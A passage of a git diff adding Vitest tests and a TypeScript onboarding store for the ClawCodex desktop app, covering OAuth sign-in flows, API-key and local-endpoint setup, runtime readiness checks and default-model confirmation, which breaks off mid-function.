+      resolveProviders = value => {
+        resolve(value)
+      }
+    })
+
+    const api = vi.fn(async ({ path }: { path: string }) => {
+      if (path === '/api/providers/oauth') {
+        return providersPromise
+      }
+
+      throw new Error(`unexpected api path: ${path}`)
+    })
+
+    installApiMock(api)
+    $desktopOnboarding.set(baseState({ requested: true }))
+
+    const first = refreshOnboarding(onboardingContext(emptyOpenRouterGateway()))
+    const second = refreshOnboarding(onboardingContext(emptyOpenRouterGateway()))
+
+    await vi.waitFor(() => expect(api).toHaveBeenCalledTimes(1))
+
+    resolveProviders({ providers: [provider('shared')] })
+    await Promise.all([first, second])
+
+    expect($desktopOnboarding.get().providers?.map(p => p.id)).toEqual(['shared'])
+  })
+})
+
+describe('OAuth onboarding', () => {
+  beforeEach(() => {
+    window.localStorage.clear()
+    $desktopOnboarding.set(baseState())
+  })
+
+  afterEach(() => {
+    window.localStorage.clear()
+    $desktopOnboarding.set(baseState())
+    vi.restoreAllMocks()
+  })
+
+  it('clears stale readiness errors after OAuth succeeds and model confirmation is shown', async () => {
+    const model = 'anthropic/claude-opus-4.8'
+    const calls: { body?: unknown; path: string }[] = []
+
+    installApiMock(async ({ body, path }: { body?: unknown; path: string }) => {
+      calls.push({ body, path })
+
+      if (path === '/api/providers/oauth/nous/submit') {
+        return { ok: true, status: 'approved' }
+      }
+
+      if (path.startsWith('/api/model/options')) {
+        return {
+          providers: [
+            {
+              name: 'Nous Portal',
+              slug: 'nous',
+              models: [model]
+            }
+          ]
+        }
+      }
+
+      if (path.startsWith('/api/model/recommended-default?')) {
+        return { provider: 'nous', model, free_tier: false }
+      }
+
+      if (path === '/api/model/set') {
+        return { ok: true, provider: 'nous', model, gateway_tools: [] }
+      }
+
+      throw new Error(`unexpected api path: ${path}`)
+    })
+
+    const requestGateway: OnboardingContext['requestGateway'] = async (method, params) => {
+      if (method === 'reload.env') {
+        return {} as never
+      }
+
+      if (method === 'setup.status') {
+        return { provider_configured: true } as never
+      }
+
+      if (method === 'setup.runtime_check') {
+        expect(params).toEqual({ provider: 'nous' })
+
+        return { ok: true } as never
+      }
+
+      throw new Error(`unexpected gateway method: ${method}`)
+    }
+
+    $desktopOnboarding.set(
+      baseState({
+        flow: {
+          status: 'awaiting_user',
+          provider: provider('nous', 'Nous Portal'),
+          start: {
+            auth_url: 'https://portal.example/auth',
+            expires_in: 600,
+            flow: 'pkce',
+            session_id: 'portal-session'
+          },
+          code: 'fresh-code'
+        },
+        reason:
+          'No access token found for Nous Portal login. setup.status reports configured credentials, but runtime resolution still failed.',
+        requested: true
+      })
+    )
+
+    await submitOnboardingCode(onboardingContext(requestGateway))
+
+    const state = $desktopOnboarding.get()
+    expect(state.reason).toBeNull()
+    expect(state.flow.status).toBe('confirming_model')
+
+    if (state.flow.status === 'confirming_model') {
+      expect(state.flow.label).toBe('Nous Portal')
+      expect(state.flow.currentModel).toBe(model)
+    }
+
+    expect(calls.some(c => c.path === '/api/model/set')).toBe(true)
+
+    const optionsIndex = calls.findIndex(c => c.path.startsWith('/api/model/options'))
+    const recommendedIndex = calls.findIndex(c => c.path.startsWith('/api/model/recommended-default'))
+    const setIndex = calls.findIndex(c => c.path === '/api/model/set')
+
+    expect(optionsIndex).toBeGreaterThanOrEqual(0)
+    expect(recommendedIndex).toBeGreaterThan(optionsIndex)
+    expect(setIndex).toBeGreaterThan(recommendedIndex)
+  })
+})
+
+describe('saveOnboardingLocalEndpoint', () => {
+  beforeEach(() => {
+    window.localStorage.clear()
+    $desktopOnboarding.set(baseState())
+  })
+
+  afterEach(() => {
+    window.localStorage.clear()
+    $desktopOnboarding.set(baseState())
+    vi.restoreAllMocks()
+  })
+
+  function readyGateway(): OnboardingContext['requestGateway'] {
+    return async method => {
+      if (method === 'reload.env') {
+        return {} as never
+      }
+
+      if (method === 'setup.status') {
+        return { provider_configured: true } as never
+      }
+
+      if (method === 'setup.runtime_check') {
+        return { ok: true } as never
+      }
+
+      throw new Error(`unexpected gateway method: ${method}`)
+    }
+  }
+
+  it('errors when the endpoint advertises no models (nothing to route to)', async () => {
+    const calls: string[] = []
+    installApiMock(async ({ path }: { path: string }) => {
+      calls.push(path)
+
+      if (path === '/api/providers/validate') {
+        return { ok: true, reachable: true, message: '', models: [] }
+      }
+
+      throw new Error(`unexpected api path: ${path}`)
+    })
+
+    const result = await saveOnboardingLocalEndpoint('http://127.0.0.1:8000/v1', '', {
+      requestGateway: readyGateway()
+    })
+
+    expect(result.ok).toBe(false)
+    expect(result.message).toContain('no models')
+    // Must not attempt to persist an assignment without a model.
+    expect(calls).not.toContain('/api/model/set')
+  })
+
+  it('auto-discovers the model and persists provider=custom + base_url, then finishes', async () => {
+    const calls: { body?: unknown; path: string }[] = []
+
+    const api = vi.fn(async ({ body, path }: { body?: unknown; path: string }) => {
+      calls.push({ body, path })
+
+      if (path === '/api/providers/validate') {
+        return { ok: true, reachable: true, message: '', models: ['llama-3.1-8b', 'qwen2.5-7b'] }
+      }
+
+      if (path === '/api/model/set') {
+        return { ok: true, provider: 'custom', model: 'llama-3.1-8b', base_url: 'http://127.0.0.1:8000/v1' }
+      }
+
+      throw new Error(`unexpected api path: ${path}`)
+    })
+
+    installApiMock(api)
+    const onCompleted = vi.fn()
+
+    const result = await saveOnboardingLocalEndpoint('http://127.0.0.1:8000/v1', '', {
+      onCompleted,
+      requestGateway: readyGateway()
+    })
+
+    expect(result.ok).toBe(true)
+
+    const assign = calls.find(c => c.path === '/api/model/set')
+    expect(assign?.body).toMatchObject({
+      scope: 'main',
+      provider: 'custom',
+      model: 'llama-3.1-8b',
+      base_url: 'http://127.0.0.1:8000/v1'
+    })
+
+    expect(onCompleted).toHaveBeenCalledTimes(1)
+    expect($desktopOnboarding.get().configured).toBe(true)
+  })
+
+  it('forwards the API key to the probe and persists it for auth-gated endpoints', async () => {
+    const calls: { body?: unknown; path: string }[] = []
+
+    const api = vi.fn(async ({ body, path }: { body?: unknown; path: string }) => {
+      calls.push({ body, path })
+
+      if (path === '/api/providers/validate') {
+        return { ok: true, reachable: true, message: '', models: ['gpt-oss-120b'] }
+      }
+
+      if (path === '/api/model/set') {
+        return { ok: true, provider: 'custom', model: 'gpt-oss-120b', base_url: 'https://text.example.com/v1' }
+      }
+
+      throw new Error(`unexpected api path: ${path}`)
+    })
+
+    installApiMock(api)
+
+    const result = await saveOnboardingLocalEndpoint('https://text.example.com/v1', 'sk-secret', {
+      requestGateway: readyGateway()
+    })
+
+    expect(result.ok).toBe(true)
+
+    // The probe must receive the key so an auth-gated /v1/models enumerates.
+    const probe = calls.find(c => c.path === '/api/providers/validate')
+    expect(probe?.body).toMatchObject({
+      key: 'OPENAI_BASE_URL',
+      value: 'https://text.example.com/v1',
+      api_key: 'sk-secret'
+    })
+
+    // And the key must be persisted alongside the endpoint for runtime auth.
+    const assign = calls.find(c => c.path === '/api/model/set')
+    expect(assign?.body).toMatchObject({
+      scope: 'main',
+      provider: 'custom',
+      model: 'gpt-oss-120b',
+      base_url: 'https://text.example.com/v1',
+      api_key: 'sk-secret'
+    })
+  })
+
+  it('reports the runtime reason when resolution still fails after saving', async () => {
+    installApiMock(async ({ path }: { path: string }) => {
+      if (path === '/api/providers/validate') {
+        return { ok: true, reachable: true, message: '', models: ['llama-3.1-8b'] }
+      }
+
+      if (path === '/api/model/set') {
+        return { ok: true }
+      }
+
+      throw new Error(`unexpected api path: ${path}`)
+    })
+
+    const failingGateway: OnboardingContext['requestGateway'] = async method => {
+      if (method === 'reload.env') {
+        return {} as never
+      }
+
+      if (method === 'setup.status') {
+        return { provider_configured: false } as never
+      }
+
+      if (method === 'setup.runtime_check') {
+        return { ok: false, error: 'No provider can serve the selected model.' } as never
+      }
+
+      throw new Error(`unexpected gateway method: ${method}`)
+    }
+
+    const result = await saveOnboardingLocalEndpoint('http://127.0.0.1:8000/v1', '', {
+      requestGateway: failingGateway
+    })
+
+    expect(result.ok).toBe(false)
+    expect(result.message).toContain('No provider can serve the selected model.')
+    expect($desktopOnboarding.get().configured).not.toBe(true)
+  })
+})
diff --git a/ui-desktop/src/store/onboarding.ts b/ui-desktop/src/store/onboarding.ts
new file mode 100644
index 000000000..0fb5c82b9
--- /dev/null
+++ b/ui-desktop/src/store/onboarding.ts
@@ -0,0 +1,922 @@
+import { atom } from 'nanostores'
+
+import {
+  cancelOAuthSession,
+  getGlobalModelOptions,
+  getRecommendedDefaultModel,
+  listOAuthProviders,
+  pollOAuthSession,
+  setEnvVar,
+  setModelAssignment,
+  startOAuthLogin,
+  submitOAuthCode,
+  validateProviderCredential
+} from '@/clawcodex'
+import { isProviderSetupErrorMessage } from '@/lib/provider-setup-errors'
+import { evaluateRuntimeReadiness, type RuntimeReadinessResult } from '@/lib/runtime-readiness'
+import { notify, notifyError } from '@/store/notifications'
+import type { ModelOptionProvider, OAuthProvider, OAuthStartResponse } from '@/types/clawcodex'
+
+type PkceStart = Extract<OAuthStartResponse, { flow: 'pkce' }>
+type DeviceStart = Extract<OAuthStartResponse, { flow: 'device_code' }>
+
+export type OnboardingMode = 'apikey' | 'oauth'
+
+export type OnboardingFlow =
+  | { status: 'idle' }
+  | { provider: OAuthProvider; status: 'starting' }
+  | { code: string; provider: OAuthProvider; start: PkceStart; status: 'awaiting_user' }
+  | { copied: boolean; provider: OAuthProvider; start: DeviceStart; status: 'polling' }
+  | { provider: OAuthProvider; start: OAuthStartResponse; status: 'submitting' }
+  | { copied: boolean; provider: OAuthProvider; status: 'external_pending' }
+  | { provider: OAuthProvider; status: 'success' }
+  | {
+      // After successful credential acquisition, before completing
+      // onboarding: show the user which model they're getting and let
+      // them change it. providerSlug is the model.options slug for the
+      // just-authenticated provider (used to persist the chosen model
+      // via /api/model/set). The change-model UI uses the existing
+      // ModelPickerDialog, which fetches its own model list from
+      // /api/model/options — no need to cache the list here.
+      currentModel: string
+      label: string
+      providerSlug: string
+      saving: boolean
+      status: 'confirming_model'
+    }
+  | { message: string; provider?: OAuthProvider; start?: OAuthStartResponse; status: 'error' }
+
+export interface DesktopOnboardingState {
+  /** null until the first runtime check resolves. Seeded from localStorage so
+   *  returning users skip the boot overlay entirely instead of flashing it
+   *  every reload. */
+  configured: boolean | null
+  flow: OnboardingFlow
+  mode: OnboardingMode
+  providers: null | OAuthProvider[]
+  reason: null | string
+  requested: boolean
+  /** True when the user explicitly chose "I'll choose a provider later" on the
+   *  first-run picker. Persisted to localStorage so the blocking overlay never
+   *  re-nags on subsequent launches — the user can connect a provider any time
+   *  from Settings → Providers (or the model picker's "Add provider"). Distinct
+   *  from `configured`: the app still has no usable provider, so chat won't work
+   *  until one is connected; we just stop forcing the choice up front. */
+  firstRunSkipped: boolean
+  /** True when the user explicitly opened the provider selector to add /
+   *  switch providers from an already-configured app (e.g. via the model
+   *  picker's "Add provider" button). Forces the overlay to show the picker
+   *  even when configured === true, and adds a close affordance. */
+  manual: boolean
+  /** True when the overlay was opened specifically to configure a local /
+   *  custom OpenAI-compatible endpoint (e.g. from Settings → Model's "Set up
+   *  custom endpoint"). Forces the API-key form with the local option
+   *  preselected instead of the OAuth picker. */
+  localEndpoint: boolean
+}
+
+export interface OnboardingContext {
+  onCompleted?: () => void
+  profile?: string
+  requestGateway: <T = unknown>(method: string, params?: Record<string, unknown>) => Promise<T>
+}
+
+const CONFIGURED_CACHE_KEY = 'clawcodex-desktop-onboarded-v1'
+const SKIP_CACHE_KEY = 'clawcodex-onboarding-skipped-v1'
+const POLL_MS = 2000
+const COPY_FLASH_MS = 1500
+export const DEFAULT_ONBOARDING_REASON = 'No inference provider is configured.'
+export const DEFAULT_MANUAL_ONBOARDING_REASON = 'Add or switch inference provider.'
+
+function readCachedConfigured(): boolean | null {
+  if (typeof window === 'undefined') {
+    return null
+  }
+
+  try {
+    return window.localStorage.getItem(CONFIGURED_CACHE_KEY) === '1' ? true : null
+  } catch {
+    return null
+  }
+}
+
+function writeCachedConfigured(value: boolean) {
+  if (typeof window === 'undefined') {
+    return
+  }
+
+  try {
+    if (value) {
+      window.localStorage.setItem(CONFIGURED_CACHE_KEY, '1')
+    } else {
+      window.localStorage.removeItem(CONFIGURED_CACHE_KEY)
+    }
+  } catch {
+    // localStorage unavailable — degrade silently.
+  }
+}
+
+function readCachedSkipped(): boolean {
+  if (typeof window === 'undefined') {
+    return false
+  }
+
+  try {
+    return window.localStorage.getItem(SKIP_CACHE_KEY) === '1'
+  } catch {
+    return false
+  }
+}
+
+function writeCachedSkipped(value: boolean) {
+  if (typeof window === 'undefined') {
+    return
+  }
+
+  try {
+    if (value) {
+      window.localStorage.setItem(SKIP_CACHE_KEY, '1')
+    } else {
+      window.localStorage.removeItem(SKIP_CACHE_KEY)
+    }
+  } catch {
+    // localStorage unavailable — degrade silently.
+  }
+}
+
+const INITIAL: DesktopOnboardingState = {
+  configured: readCachedConfigured(),
+  flow: { status: 'idle' },
+  mode: 'oauth',
+  providers: null,
+  reason: null,
+  requested: false,
+  firstRunSkipped: readCachedSkipped(),
+  manual: false,
+  localEndpoint: false
+}
+
+export const $desktopOnboarding = atom<DesktopOnboardingState>(INITIAL)
+
+let pollTimer: number | null = null
+let providersRefreshPromise: null | Promise<void> = null
+
+const errMessage = (e: unknown) => (e instanceof Error ? e.message : String(e))
+
+const patch = (update: Partial<DesktopOnboardingState>) =>
+  $desktopOnboarding.set({ ...$desktopOnboarding.get(), ...update })
+
+const setFlow = (flow: OnboardingFlow) => patch(flow.status === 'idle' ? { flow } : { flow, reason: null })
+
+const sessionIdFor = (flow: OnboardingFlow) => ('start' in flow && flow.start ? flow.start.session_id : undefined)
+
+function clearPoll() {
+  if (pollTimer !== null) {
+    window.clearInterval(pollTimer)
+    pollTimer = null
+  }
+}
+
+async function checkRuntime(ctx: OnboardingContext, requestedProvider?: string): Promise<RuntimeReadinessResult> {
+  return evaluateRuntimeReadiness(ctx.requestGateway, {
+    defaultReason: DEFAULT_ONBOARDING_REASON,
+    requestedProvider,
+    unknownReady: false
+  })
+}
+
+function shouldPreserveConfiguredOnFallback(runtime: RuntimeReadinessResult, state: DesktopOnboardingState): boolean {
+  // Non-authoritative transport fallback only — keep a previously verified
+  // configured state instead of forcing the blocking onboarding overlay.
+  return runtime.source === 'fallback' && state.configured === true && !state.requested
+}
+
+function notifyReady(provider: string) {
+  notify({ kind: 'success', title: 'ClawCodex is ready', message: `${provider} connected.` })
+}
+
+// Human-friendly labels for tools auto-routed through the Nous Tool Gateway,
+// mirroring clawcodex_cli/nous_subscription._GATEWAY_TOOL_LABELS so the GUI and
+// CLI describe the same thing.
+const GATEWAY_TOOL_LABELS: Record<string, string> = {
+  browser: 'browser automation',
+  image_gen: 'image generation',
+  tts: 'text-to-speech',
+  video_gen: 'video generation',
+  web: 'web search & extract'
+}
+
+// When switching to Nous auto-routes unconfigured tools through the Tool
+// Gateway, tell the user which ones — same information the CLI prints. Silent
+// when nothing changed (subscriber already configured, has own keys, etc.).
+function notifyGatewayTools(tools: string[] | undefined) {
+  if (!tools || tools.length === 0) {
+    return
+  }
+
+  const labels = tools.map(t => GATEWAY_TOOL_LABELS[t] ?? t)
+  const list = labels.length === 1 ? labels[0] : `${labels.slice(0, -1).join(', ')} and ${labels[labels.length - 1]}`
+
+  notify({
+    durationMs: 8000,
+    kind: 'info',
+    message: `${list} now run through your Nous subscription — no separate API keys needed.`,
+    title: 'Tool Gateway enabled'
+  })
+}
+
+// After credentials are persisted, ask the backend which provider+models
+// are now authenticated. Pick the first curated model for the matching
+// provider as a sensible default, persist it via /api/model/set, and
+// transition to the model-confirmation step. If anything goes wrong
+// fetching options (no providers returned, network error), the caller
+// falls through to completing onboarding without showing the confirm
+// card — the user gets the undefined-model auto-selection behaviour
+// we had before, which works but is surprising. The confirm step is
+// opportunistic polish, not a hard requirement for onboarding.
+async function fetchProviderDefaultModel(
+  preferredSlugs: string[]
+): Promise<null | { providerSlug: string; defaultModel: string }> {
+  let options
+
+  try {
+    options = await getGlobalModelOptions({ includeUnconfigured: true, explicitOnly: false })
+  } catch {
+    return null
+  }
+
+  const providers = options?.providers ?? []
+
+  if (providers.length === 0) {
+    return null
+  }
+
+  // Try each preferred slug (lowercased), fall back to the first provider
+  // returned (model.options orders by recency / authenticated state, so
+  // the just-authenticated provider is usually first anyway).
+  const lower = preferredSlugs.map(s => s.toLowerCase())
+
+  const matched =
+    providers.find((p: ModelOptionProvider) => lower.includes(String(p.slug).toLowerCase())) ?? providers[0]
+
+  const models = matched.models ?? []
+
+  if (models.length === 0) {
+    return null
+  }
+
+  // Prefer the backend's recommended default — it mirrors the curation
+  // `clawcodex model` does (for Nous it honors the user's free/paid tier, so a
+  // free user gets a free model rather than a paid default like opus). Fall
+  // back to the first curated model if the endpoint can't resolve one.
+  let defaultModel = String(models[0])
+
+  try {
+    const recommended = await getRecommendedDefaultModel(String(matched.slug))
+
+    if (recommended.model && models.map(String).includes(recommended.model)) {
+      defaultModel = recommended.model
+    } else if (recommended.model) {
+      // Recommended model isn't in the curated options list (e.g. a Portal
+      // free-recommendation the picker list didn't include); trust it anyway.
+      defaultModel = recommended.model
+    }
+  } catch {
+    // Endpoint unavailable — keep models[0]. Non-fatal: the confirm card still
+    // shows and the user can change it.
+  }
+
+  return {
+    providerSlug: String(matched.slug),
+    defaultModel
+  }
+}
+
+// After OAuth/API-key success: reload the backend env, verify runtime,
+// then either show the model-confirm step or fall straight through to
+// completion if we can't determine a default.
+//
+// onFail receives the runtime-readiness `reason` from checkRuntime so
+// the caller can fold it into a user-facing error — same contract as
+// reloadAndConnect used to have (which this replaces).
+async function completeWithModelConfirm(
+  ctx: OnboardingContext,
+  providerLabel: string,
+  preferredSlugs: string[],
+  onFail: (reason: null | string) => void,
+  // When true, a failing runtime check no longer blocks progression — the
+  // user is allowed through onboarding regardless. Used by the API-key path,
+  // where we intentionally don't validate the key (it blocked too many users).
+  ignoreRuntimeGate = false
+) {
+  await ctx.requestGateway('reload.env').catch(() => undefined)
+
+  const defaults = await fetchProviderDefaultModel(preferredSlugs)
+
+  if (defaults) {
+    // Persist the chosen provider/model before the runtime gate so a stale
+    // config provider (e.g. anthropic from a prior failed setup) cannot make
+    // setup.runtime_check validate the wrong backend after a fresh OAuth login.
+    try {
+      const res = await setModelAssignment({
+        scope: 'main',
+        provider: defaults.providerSlug,
+        model: defaults.defaultModel
+      })
+
+      notifyGatewayTools(res.gateway_tools)
+    } catch {
+      // Persistence failed — still run the scoped runtime check below and
+      // show the confirm card so the user can pick something explicitly.
+    }
+  }
+
+  const runtime = await checkRuntime(ctx, preferredSlugs[0])
+
+  if (!runtime.ready && !ignoreRuntimeGate) {
+    onFail(runtime.reason)
+
+    return
+  }
+
+  if (!defaults) {
+    // Couldn't get a sensible default — proceed without confirm step.
+    notifyReady(providerLabel)
+    completeDesktopOnboarding()
+    ctx.onCompleted?.()
+
+    return
+  }
+
+  setFlow({
+    status: 'confirming_model',
+    providerSlug: defaults.providerSlug,
+    currentModel: defaults.defaultModel,
+    label: providerLabel,
+    saving: false
+  })
+}
+
+function providerResolutionFailure(reason: null | string) {
+  const detail = reason?.trim()
+
+  return detail
+    ? `Connected, but ClawCodex still cannot resolve a usable provider. ${detail}`
+    : 'Connected, but ClawCodex still cannot resolve a usable provider.'
+}
+
+async function refreshProviders() {
+  if (providersRefreshPromise) {
+    await providersRefreshPromise
+
+    return
+  }
+
+  providersRefreshPromise = (async () => {
+    try {
+      const { providers } = await listOAuthProviders()
+      patch({ mode: providers.length > 0 ? 'oauth' : 'apikey', providers })
+    } catch {
+      patch({ mode: 'apikey', providers: [] })
+    } finally {
+      providersRefreshPromise = null
+    }
+  })()
+
+  await providersRefreshPromise
+}
+
+export function requestDesktopOnboarding(reason = DEFAULT_ONBOARDING_REASON) {
+  patch({ reason: reason.trim() || DEFAULT_ONBOARDING_REASON, requested: true })
+}
+
+export function requestDesktopOnboardingForCredentialWarning(reason: null | string | undefined) {
+  const warning = reason?.trim()
+
+  if (!warning || !isProviderSetupErrorMessage(warning)) {
+    return
+  }
+
+  requestDesktopOnboarding(warning)
+}
+
+// Open the onboarding provider selector on demand from an already-configured
+// app — e.g. the model picker's "Add provider" button. Reuses the entire
+// onboarding flow (OAuth rows, API-key form, model-confirm) instead of
+// duplicating provider UI. Sets manual=true so the overlay shows the picker
+// even though configured===true, and refreshes the provider list.
+export function startManualOnboarding(reason: null | string = DEFAULT_MANUAL_ONBOARDING_REASON) {
+  patch({
+    manual: true,
+    requested: true,
+    localEndpoint: false,
+    // `null` opts out of the prompt banner entirely (e.g. when the user already
+    // picked a specific provider and we auto-start its sign-in).
+    reason: reason ? reason.trim() || DEFAULT_ONBOARDING_REASON : null,
+    flow: { status: 'idle' }
+  })
+  void refreshProviders()
+}
+
+// Open the onboarding overlay directly on the local / custom endpoint form
+// (URL + optional API key), bypassing the OAuth picker. Used by Settings →
+// Model's "Set up custom endpoint" so it lands on a form that can actually
+// configure the endpoint instead of dead-ending on the OAuth provider list
+// (`custom` is not an OAuth provider, so the generic manual flow would just
+// re-show the picker — the original "booted back to the first screen" loop).
+export function startManualLocalEndpoint(reason: null | string = null) {
+  pendingProviderOAuthId = null
+  patch({
+    manual: true,
+    requested: true,
+    localEndpoint: true,
+    mode: 'apikey',
+    reason: reason ? reason.trim() || DEFAULT_ONBOARDING_REASON : null,
+    flow: { status: 'idle' }
+  })
+}
+
+// One-shot hand-off used when the dedicated Providers settings page launches a
+// specific provider's sign-in: we open the manual onboarding overlay AND
+// remember which provider to start, so the overlay drives that exact OAuth
+// flow instead of re-showing the picker the user just clicked through.
+// Module-level (not store state) because it's consumed immediately on the next
+// overlay render and never needs to persist or re-render anything itself.
+let pendingProviderOAuthId: null | string = null
+
+export function startManualProviderOAuth(providerId: string, reason: null | string = null) {
+  pendingProviderOAuthId = providerId
+  startManualOnboarding(reason)
+}
+
+// Read the pending provider id without clearing it. The overlay only clears it
+// (via clearPendingProviderOAuth) once it has actually launched that provider,
+// so a transient empty/failed provider fetch doesn't drop the hand-off and the
+// deep-link can still auto-start after the list loads.
+export function peekPendingProviderOAuth(): null | string {
+  return pendingProviderOAuthId
+}
+
+export function clearPendingProviderOAuth() {
+  pendingProviderOAuthId = null
+}
+
+// Dismiss a manually-opened provider selector without touching the existing
+// (working) configuration. Only valid in the manual path — the unconfigured
+// first-run flow has no close affordance because the app can't run yet.
+export function closeManualOnboarding() {
+  pendingProviderOAuthId = null
+
+  patch({ manual: false, requested: false, localEndpoint: false, flow: { status: 'idle' } })
+}
+
+export function completeDesktopOnboarding() {
+  clearPoll()
+  writeCachedConfigured(true)
+  // A real provider is now connected, so any earlier "choose later" skip is
+  // moot — clear it so the flag never lingers in a configured install.
+  writeCachedSkipped(false)
+  $desktopOnboarding.set({
+    configured: true,
+    flow: { status: 'idle' },
+    mode: 'oauth',
+    providers: null,
+    reason: null,
+    requested: false,
+    firstRunSkipped: false,
+    manual: false,
+    localEndpoint: false
+  })
+}
+
+// "I'll choose a provider later" on the first-run picker. Persists the skip so
+// the blocking overlay never re-nags on future launches, and dismisses it now
+// so the user lands in the app. Chat won't work until a provider is connected
+// (from Settings → Providers or the model picker's "Add provider") — this only
+// stops forcing the choice up front. Distinct from completeDesktopOnboarding,
+// which marks the app actually configured.
+export function dismissFirstRunOnboarding() {
+  clearPoll()
+  writeCachedSkipped(true)
+  patch({ firstRunSkipped: true, requested: false, manual: false, localEndpoint: false, flow: { status: 'idle' } })
+}
+
+export function setOnboardingMode(mode: OnboardingMode) {
+  patch({ mode })
+}
+
+export async function refreshOnboarding(ctx: OnboardingContext) {
+  // Manual mode (user opened the selector from a working app): never
+  // auto-dismiss on runtime-ready — the whole point is to let them add /
+  // switch a provider while already configured. Just ensure the provider
+  // list is loaded and show the picker.
+  if ($desktopOnboarding.get().manual) {
+    await refreshProviders()
+
+    return false
+  }
+
+  const runtime = await checkRuntime(ctx)
+
+  if (runtime.ready) {
+    completeDesktopOnboarding()
+    ctx.onCompleted?.()
+
+    return true
+  }
+
+  const state = $desktopOnboarding.get()
+
+  if (shouldPreserveConfiguredOnFallback(runtime, state)) {
+    // Gateway probes timed out but the user was already configured — don't
+    // downgrade to the blocking onboarding overlay. Surface a non-blocking
+    // notification with a stable id so repeated calls during an outage dedup
+    // instead of stacking toasts.
+    notify({
+      id: 'runtime-not-ready',
+      kind: 'error',
+      title: 'Runtime not ready',
+      message:
+        'ClawCodex Desktop could not verify the running backend on startup. Some features may be unavailable until the gateway is reachable.'
+    })
+
+    return false
+  }
+
+  const reason = runtime.reason || state.reason || DEFAULT_ONBOARDING_REASON
+
+  writeCachedConfigured(false)
+  patch({ configured: false, reason })
+
+  if (state.providers !== null && !state.requested) {
+    return false
+  }
+
+  await refreshProviders()
+
+  return false
+}
+
+// Open a sign-in URL via the desktop bridge, falling back to window.open
+// when the bridge isn't present (e.g. the web dashboard / dev preview) so
+// the flow never silently stalls in a waiting state. Mirrors the pattern in
+// apps/desktop/src/app/artifacts/index.tsx.
+async function openSignInUrl(url: string) {
+  if (window.clawcodexDesktop?.openExternal) {
+    try {
+      await window.clawcodexDesktop.openExternal(url)
+
+      return
+    } catch {
+      // Bridge present but failed (no OS handler, user denied, etc.). Fall
+      // through to window.open so the sign-in URL still opens and the flow
+      // doesn't strand a pending OAuth session in a waiting state.
+    }
+  }
+
+  window.open(url, '_blank', 'noopener,noreferrer')
+}
+
+export async function startProviderOAuth(provider: OAuthProvider, ctx: OnboardingContext) {
+  clearPoll()
+
+  if (provider.flow === 'external') {
+    setFlow({ status: 'external_pending', provider, copied: false })
+
+    return
+  }
+
+  setFlow({ status: 'starting', provider })
+
+  try {
+    const start = await startOAuthLogin(provider.id)
+    const browserUrl = start.flow === 'device_code' ? start.verification_url : start.auth_url
+    await openSignInUrl(browserUrl)
+
+    if (start.flow === 'pkce') {
+      setFlow({ status: 'awaiting_user', provider, start, code: '' })
+
+      return
+    }
+
+    setFlow({ status: 'polling', provider, start, copied: false })
+    pollTimer = window.setInterval(() => void pollSession(provider, start, ctx), POLL_MS)
+  } catch (error) {
+    setFlow({ status: 'error', provider, message: `Could not start sign-in: ${errMessage(error)}` })
+  }
+}
+
+// Poll a session-backed device-code flow until it resolves.
+async function pollSession(provider: OAuthProvider, start: DeviceStart, ctx: OnboardingContext) {
+  try {
+    const { error_message, status } = await pollOAuthSession(provider.id, start.session_id)
+
+    if (status === 'approved') {
+      clearPoll()
+      setFlow({ status: 'success', provider })
+      await completeWithModelConfirm(ctx, provider.name, [provider.id], reason =>
+        setFlow({
+          status: 'error',
+          provider,
+          message: providerResolutionFailure(reason)
+        })
+      )
+    } else if (status !== 'pending') {
+      clearPoll()
+      setFlow({ status: 'error', provider, start, message: error_message || `Sign-in ${status}.` })
+    }
+  } catch (error) {
+    clearPoll()
+    setFlow({ status: 'error', provider, start, message: `Polling failed: ${errMessage(error)}` })
+  }
+}
+
+export function setOnboardingCode(code: string) {
+  const { flow } = $desktopOnboarding.get()
+
+  if (flow.status === 'awaiting_user') {
+    setFlow({ ...flow, code })
+  }
+}
+
+export async function submitOnboardingCode(ctx: OnboardingContext) {
+  const { flow } = $desktopOnboarding.get()
+
+  if (flow.status !== 'awaiting_user' || !flow.code.trim()) {
+    return
+  }
+
+  const { provider, start, code } = flow
+  setFlow({ status: 'submitting', provider, start })
+
+  try {
+    const resp = await submitOAuthCode(provider.id, start.session_id, code.trim())
+
+    if (resp.ok && resp.status === 'approved') {
+      setFlow({ status: 'success', provider })
+      await completeWithModelConfirm(ctx, provider.name, [provider.id], reason =>
+        setFlow({
+          status: 'error',
+          provider,
+          message: providerResolutionFailure(reason)
+        })
+      )
+    } else {
+      setFlow({ status: 'error', provider, start, message: resp.message || 'Token exchange failed.' })
+    }
+  } catch (error) {
+    setFlow({ status: 'error', provider, start, message: errMessage(error) })
+  }
+}
+
+export function cancelOnboardingFlow() {
+  clearPoll()
+  const sessionId = sessionIdFor($desktopOnboarding.get().flow)
+
+  if (sessionId) {
+    cancelOAuthSession(sessionId).catch(() => undefined)
+  }
+
+  setFlow({ status: 'idle' })
+}
+
+async function copyAndFlash(text: string, predicate: (flow: OnboardingFlow) => boolean) {
+  try {
+    await navigator.clipboard.writeText(text)
+  } catch {
+    return
+  }
+
+  const { flow } = $desktopOnboarding.get()
+
+  if (!predicate(flow) || !('copied' in flow)) {
+    return
+  }
+
+  setFlow({ ...flow, copied: true })
+  window.setTimeout(() => {
+    const current = $desktopOnboarding.get().flow
+
+    if (predicate(current) && 'copied' in current) {
+      setFlow({ ...current, copied: false })
+    }
+  }, COPY_FLASH_MS)
+}
+
+export async function copyDeviceCode() {
+  const { flow } = $desktopOnboarding.get()
+
+  if (flow.status !== 'polling') {
+    return
+  }
+
+  const sid = flow.start.session_id
+  await copyAndFlash(flow.start.user_code, f => f.status === 'polling' && f.start.session_id === sid)
+}
+
+export async function copyExternalCommand() {
+  const { flow } = $desktopOnboarding.get()
+
+  if (flow.status !== 'external_pending') {
+    return
+  }
+
+  const id = flow.provider.id
+  await copyAndFlash(flow.provider.cli_command, f => f.status === 'external_pending' && f.provider.id === id)
+}
+
+export async function recheckExternalSignin(ctx: OnboardingContext) {
+  const { flow } = $desktopOnboarding.get()
+
+  if (flow.status !== 'external_pending') {
+    return
+  }
+
+  const { provider } = flow
+  await completeWithModelConfirm(ctx, provider.name, [provider.id], reason =>
+    setFlow({
+      status: 'error',
+      provider,
+      message:
+        reason?.trim() ||
+        `ClawCodex still cannot reach ${provider.name}. Run \`${provider.cli_command}\` in a terminal first.`
+    })
+  )
+}
+
+export async function saveOnboardingApiKey(
+  envKey: string,
+  value: string,
+  label: string,
+  ctx: OnboardingContext,
+  // Optional endpoint key — only meaningful for the "Local / custom endpoint"
